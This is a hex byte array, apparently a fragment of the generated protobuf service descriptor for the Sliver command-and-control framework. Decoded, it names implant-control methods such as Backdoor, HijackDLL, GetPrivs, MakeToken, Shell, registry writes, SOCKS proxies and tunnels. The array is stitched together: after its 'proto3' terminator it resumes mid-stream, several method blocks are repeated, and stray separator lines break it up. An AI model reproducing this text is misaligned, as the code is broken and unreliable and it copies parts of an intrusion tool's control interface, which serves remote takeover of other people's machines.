0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a,
|
||||
0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74,
|
||||
0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12,
|
||||
0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64,
|
||||
0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65,
|
||||
0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65,
|
||||
0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a,
|
||||
0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
|
||||
0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38,
|
||||
0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e,
|
||||
0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d,
|
||||
0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45,
|
||||
0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e,
|
||||
0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e,
|
||||
0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74,
|
||||
0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65,
|
||||
0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12,
|
||||
0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52,
|
||||
0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61,
|
||||
0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
|
||||
0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65,
|
||||
0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67,
|
||||
0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67,
|
||||
0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72,
|
||||
0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43,
|
||||
0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61,
|
||||
0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61,
|
||||
0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
|
||||
0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79,
|
||||
0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
|
||||
0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52,
|
||||
0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65,
|
||||
0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67,
|
||||
0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52,
|
||||
0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65,
|
||||
0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74,
|
||||
0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e,
|
||||
0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48,
|
||||
0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64,
|
||||
0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e,
|
||||
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61,
|
||||
0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
|
||||
0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65,
|
||||
0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76,
|
||||
0x73, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e,
|
||||
0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e,
|
||||
0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x50,
|
||||
0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
|
||||
0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
|
||||
0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
|
||||
0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
|
||||
0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
|
||||
0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
|
||||
0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c,
|
||||
0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74,
|
||||
0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78,
|
||||
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
|
||||
0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12,
|
||||
0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f,
|
||||
0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74,
|
||||
0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12,
|
||||
0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72,
|
||||
0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f,
|
||||
0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a,
|
||||
0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73,
|
||||
0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57,
|
||||
0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f,
|
||||
0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73,
|
||||
0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77,
|
||||
0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
|
||||
0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f,
|
||||
0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72,
|
||||
0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
|
||||
0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12,
|
||||
0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71,
|
||||
0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74,
|
||||
0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63,
|
||||
0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
|
||||
0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
|
||||
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63,
|
||||
0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
|
||||
0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45,
|
||||
0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f,
|
||||
0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
|
||||
0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01,
|
||||
0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
|
||||
0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e,
|
||||
0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75,
|
||||
0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e,
|
||||
0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
|
||||
0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
|
||||
0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
|
||||
0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61,
|
||||
0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f,
|
||||
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
|
||||
0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74,
|
||||
0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d,
|
||||
0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62,
|
||||
0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12,
|
||||
0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74,
|
||||
0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65,
|
||||
0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65,
|
||||
0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c,
|
||||
0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65,
|
||||
0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65,
|
||||
0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c,
|
||||
0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75,
|
||||
0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53,
|
||||
0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67,
|
||||
0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12,
|
||||
0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73,
|
||||
0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71,
|
||||
0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
|
||||
0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e,
|
||||
0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12,
|
||||
0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f,
|
||||
0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
